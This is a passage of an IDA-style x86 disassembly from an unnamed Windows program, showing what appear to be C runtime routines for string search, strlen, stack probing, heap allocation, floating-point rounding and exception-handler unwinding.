sub_413D8A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413DE0	proc near		; CODE XREF: sub_401BD7+2D8p
					; sub_401BD7+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_413E5A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_413E47


loc_413DF8:				; CODE XREF: sub_413DE0+52j
					; sub_413DE0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_413E1A
		test	al, al
		jz	short loc_413E14


loc_413E09:				; CODE XREF: sub_413DE0+32j
		mov	al, [esi]
		inc	esi


loc_413E0C:				; CODE XREF: sub_413DE0+3Fj
		cmp	al, dl
		jz	short loc_413E1A
		test	al, al
		jnz	short loc_413E09


loc_413E14:				; CODE XREF: sub_413DE0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413E1A:				; CODE XREF: sub_413DE0+23j
					; sub_413DE0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_413E0C
		lea	edi, [esi-1]


loc_413E24:				; CODE XREF: sub_413DE0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_413E53
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_413DF8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_413E53
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_413E24
		jmp	short loc_413DF8
; ---------------------------------------------------------------------------


loc_413E47:				; CODE XREF: sub_413DE0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_415BA6
; ---------------------------------------------------------------------------


loc_413E53:				; CODE XREF: sub_413DE0+49j
					; sub_413DE0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413E5A:				; CODE XREF: sub_413DE0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_413DE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E60	proc near		; CODE XREF: sub_40211B+8p
					; seg001:0040354Dp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_413E80


loc_413E6C:				; CODE XREF: sub_413E60+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_413E6C


loc_413E80:				; CODE XREF: sub_413E60+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_413E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413E90	proc near		; CODE XREF: sub_4026C1+7p
					; sub_402CEB+124p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_413EB0


loc_413E9C:				; CODE XREF: sub_413E90+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_413EE3
		test	ecx, 3
		jnz	short loc_413E9C
		add	eax, 0


loc_413EB0:				; CODE XREF: sub_413E90+Aj
					; sub_413E90+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_413EB0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_413F01
		test	ah, ah
		jz	short loc_413EF7
		test	eax, 0FF0000h
		jz	short loc_413EED
		test	eax, 0FF000000h
		jz	short loc_413EE3
		jmp	short loc_413EB0
; ---------------------------------------------------------------------------


loc_413EE3:				; CODE XREF: sub_413E90+11j
					; sub_413E90+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413EED:				; CODE XREF: sub_413E90+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413EF7:				; CODE XREF: sub_413E90+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_413F01:				; CODE XREF: sub_413E90+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_413E90	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F0B	proc near		; CODE XREF: sub_4024DF+Ap
					; sub_402519+12p ...

arg_0		= dword	ptr  4

		push	dword_742284
		push	[esp+4+arg_0]
		call	sub_413F1D
		pop	ecx
		pop	ecx
		retn
sub_413F0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F1D	proc near		; CODE XREF: sub_413F0B+Ap
					; sub_414905+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_413F46


loc_413F24:				; CODE XREF: sub_413F1D+27j
		push	[esp+arg_0]
		call	sub_413F49
		test	eax, eax
		pop	ecx
		jnz	short locret_413F48
		cmp	[esp+arg_4], eax
		jz	short locret_413F48
		push	[esp+arg_0]
		call	sub_4168E4
		test	eax, eax
		pop	ecx
		jnz	short loc_413F24


loc_413F46:				; CODE XREF: sub_413F1D+5j
		xor	eax, eax

locret_413F48:				; CODE XREF: sub_413F1D+13j
					; sub_413F1D+19j
		retn
sub_413F1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F49	proc near		; CODE XREF: sub_413F1D+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_4379CC
		ja	short loc_413F61
		push	esi
		call	sub_416CCF
		test	eax, eax
		pop	ecx
		jnz	short loc_413F7D


loc_413F61:				; CODE XREF: sub_413F49+Bj
		test	esi, esi
		jnz	short loc_413F68
		push	1
		pop	esi


loc_413F68:				; CODE XREF: sub_413F49+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_743880
		call	dword_41F144	; RtlAllocateHeap


loc_413F7D:				; CODE XREF: sub_413F49+16j
		pop	esi
		retn
sub_413F49	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F7F	proc near		; CODE XREF: sub_40256E+Ap
					; sub_402587+7Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_413FAC
		push	esi
		call	sub_416979
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413F9E
		push	eax
		call	sub_4169A4
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413F9E:				; CODE XREF: sub_413F7F+13j
		push	0
		push	dword_743880
		call	dword_41F148	; RtlFreeHeap


loc_413FAC:				; CODE XREF: sub_413F7F+7j
		pop	esi
		retn
sub_413F7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_413FAE(double)

sub_413FAE	proc near		; CODE XREF: sub_402C9F+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437770
		call	sub_417CA2
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_414034
		call	sub_417B6A
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_414017
		cmp	eax, 2
		jle	short loc_414009
		cmp	eax, 3
		jnz	short loc_414017
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41747A
		add	esp, 10h
		jmp	short loc_414079
; ---------------------------------------------------------------------------


loc_414009:				; CODE XREF: sub_413FAE+3Fj
		push	esi
		push	ebx
		call	sub_417CA2
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_414079
; ---------------------------------------------------------------------------


loc_414017:				; CODE XREF: sub_413FAE+3Aj
					; sub_413FAE+44j
		fld	[ebp+arg_0]
		fadd	dbl_41F668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_414071
; ---------------------------------------------------------------------------


loc_414034:				; CODE XREF: sub_413FAE+2Fj
		call	sub_417B2F
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_414057


loc_414049:				; CODE XREF: sub_413FAE+ACj
		push	esi
		push	ebx
		call	sub_417CA2
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_414079
; ---------------------------------------------------------------------------


loc_414057:				; CODE XREF: sub_413FAE+99j
		test	bl, 20h
		jnz	short loc_414049
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_414071:				; CODE XREF: sub_413FAE+84j
		call	sub_4174CD
		add	esp, 1Ch


loc_414079:				; CODE XREF: sub_413FAE+59j
					; sub_413FAE+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_413FAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41407D	proc near		; CODE XREF: sub_415C5C+9p
					; sub_417D6B+21p
					; DATA XREF: ...
		call	sub_414095
		call	sub_417D6B
		mov	dword_742208, eax
		call	sub_417D1B
		fnclex
		retn
sub_41407D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_414095	proc near		; CODE XREF: sub_41407Dp
		mov	eax, offset sub_418159
		mov	off_437AEC, offset sub_417DEE
		mov	off_437AE8, eax
		mov	off_437AF0, offset sub_417E54
		mov	off_437AF4, offset sub_417D94
		mov	off_437AF8, offset sub_417E3C
		mov	off_437AFC, eax
		retn
sub_414095	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140D0	proc near		; CODE XREF: sub_402C9F+1Bp
					; sub_402C9F+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_4140D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4140F7(double)

sub_4140F7	proc near		; CODE XREF: sub_402CEB+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437788
		call	sub_417CA2
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41417D
		call	sub_417B6A
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_414160
		cmp	eax, 2
		jle	short loc_414152
		cmp	eax, 3
		jnz	short loc_414160
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41747A
		add	esp, 10h
		jmp	short loc_4141C2
; ---------------------------------------------------------------------------


loc_414152:				; CODE XREF: sub_4140F7+3Fj
		push	esi
		push	ebx
		call	sub_417CA2
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4141C2
; ---------------------------------------------------------------------------


loc_414160:				; CODE XREF: sub_4140F7+3Aj
					; sub_4140F7+44j
		fld	[ebp+arg_0]
		fadd	dbl_41F668
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_4141BA
; ---------------------------------------------------------------------------


loc_41417D:				; CODE XREF: sub_4140F7+2Fj
		call	sub_417B2F
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_4141A0


loc_414192:				; CODE XREF: sub_4140F7+ACj
		push	esi
		push	ebx
		call	sub_417CA2
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_4141C2
; ---------------------------------------------------------------------------


loc_4141A0:				; CODE XREF: sub_4140F7+99j
		test	bl, 20h
		jnz	short loc_414192
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_4141BA:				; CODE XREF: sub_4140F7+84j
		call	sub_4174CD
		add	esp, 1Ch


loc_4141C2:				; CODE XREF: sub_4140F7+59j
					; sub_4140F7+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4140F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C6	proc near		; CODE XREF: sub_4185CA+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_4141C6	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4141FA	proc near		; CODE XREF: sub_41877B+199p
					; sub_41893F+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4141FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414201	proc near		; CODE XREF: sub_41877B+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_414201	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414208	proc near		; CODE XREF: sub_4143BA+5Cp
					; sub_4185CA:loc_4185FBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_414230
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41E42E	; RtlUnwind


loc_414230:				; DATA XREF: sub_414208+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_414208	endp

; ---------------------------------------------------------------------------


loc_414257:				; CODE XREF: seg001:0041E624j
					; seg001:0041E641j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4181CF
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41428D	proc near		; CODE XREF: sub_418645+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_4142E1
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_4189D0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41428D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142E1	proc near		; DATA XREF: sub_41428D+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4181CF
		add	esp, 20h
		pop	ebp
		retn
sub_4142E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414306	proc near		; CODE XREF: sub_418411+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4143BA
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41438C
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_7422A4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41438C:				; DATA XREF: sub_414306+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4143A9
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4143B2
; ---------------------------------------------------------------------------


loc_4143A9:				; CODE XREF: sub_414306+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4143B2:				; CODE XREF: sub_414306+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414306	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143BA	proc near		; DATA XREF: sub_414306+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4143DD
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41442A
; ---------------------------------------------------------------------------


loc_4143DD:				; CODE XREF: sub_4143BA+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4181CF
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41441B
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_414208


loc_41441B:				; CODE XREF: sub_4143BA+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41442A:				; CODE XREF: sub_4143BA+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4143BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41442F	proc near		; CODE XREF: sub_41826A+C6p
					; sub_418411+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_414486


loc_41444D:				; CODE XREF: sub_41442F+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_414457
		call	sub_418A72


loc_414457:				; CODE XREF: sub_41442F+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41446C
		cmp	ecx, [eax+8]
		jle	short loc_414471


loc_41446C:				; CODE XREF: sub_41442F+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41447D


loc_414471:				; CODE XREF: sub_41442F+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41447D:				; CODE XREF: sub_41442F+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41444D
		mov	eax, [ebp+var_4]


loc_414486:				; CODE XREF: sub_41442F+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41449A
		cmp	esi, eax
		jbe	short loc_41449F


loc_41449A:				; CODE XREF: sub_41442F+65j
		call	sub_418A72


loc_41449F:				; CODE XREF: sub_41442F+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41442F	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144AC	proc near		; CODE XREF: sub_41B124+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4144C4
		push	[ebp+arg_0]
		call	sub_41E42E	; RtlUnwind


loc_4144C4:				; DATA XREF: sub_4144AC+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4144AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144CC	proc near		; DATA XREF: sub_4144EE+Ao
					; sub_414556+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4144ED
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4144ED:				; CODE XREF: sub_4144CC+10j
		retn
sub_4144CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144EE	proc near		; CODE XREF: sub_4186EB+Dp
					; sub_41B124+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4144CC
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41450B:				; CODE XREF: sub_4144EE:loc_414546j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_414548
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_414548
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_414546
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_414582
		call	dword ptr [ebx+esi*4+8]


loc_414546:				; CODE XREF: sub_4144EE+44j
		jmp	short loc_41450B
; ---------------------------------------------------------------------------


loc_414548:				; CODE XREF: sub_4144EE+2Aj
					; sub_4144EE+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4144EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414556	proc near		; CODE XREF: sub_41870B+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4144CC
		jnz	short locret_414578
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_414578
		mov	eax, 1

locret_414578:				; CODE XREF: sub_414556+10j
					; sub_414556+1Bj
		retn
sub_414556	endp


; =============== S U B	R O U T	I N E =======================================



sub_414579	proc near		; CODE XREF: sub_4189D0+1Ep
					; sub_4189D0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43778C
		jmp	short loc_41458C
sub_414579	endp


; =============== S U B	R O U T	I N E =======================================



sub_414582	proc near		; CODE XREF: sub_4144EE+4Fp
					; sub_41B124+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43778C
		mov	ecx, [ebp+8]


loc_41458C:				; CODE XREF: sub_414579+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_414582	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41459C	proc near		; CODE XREF: sub_402CEB+5p
					; sub_402E8D+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41459C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4145BB	proc near		; CODE XREF: sub_403362+26p
					; seg001:0041E205p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_413F7F
		pop	ecx
		retn
sub_4145BB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4145D0	proc near		; CODE XREF: sub_4033D3+3Ap
					; sub_4169A4+2EEp ...

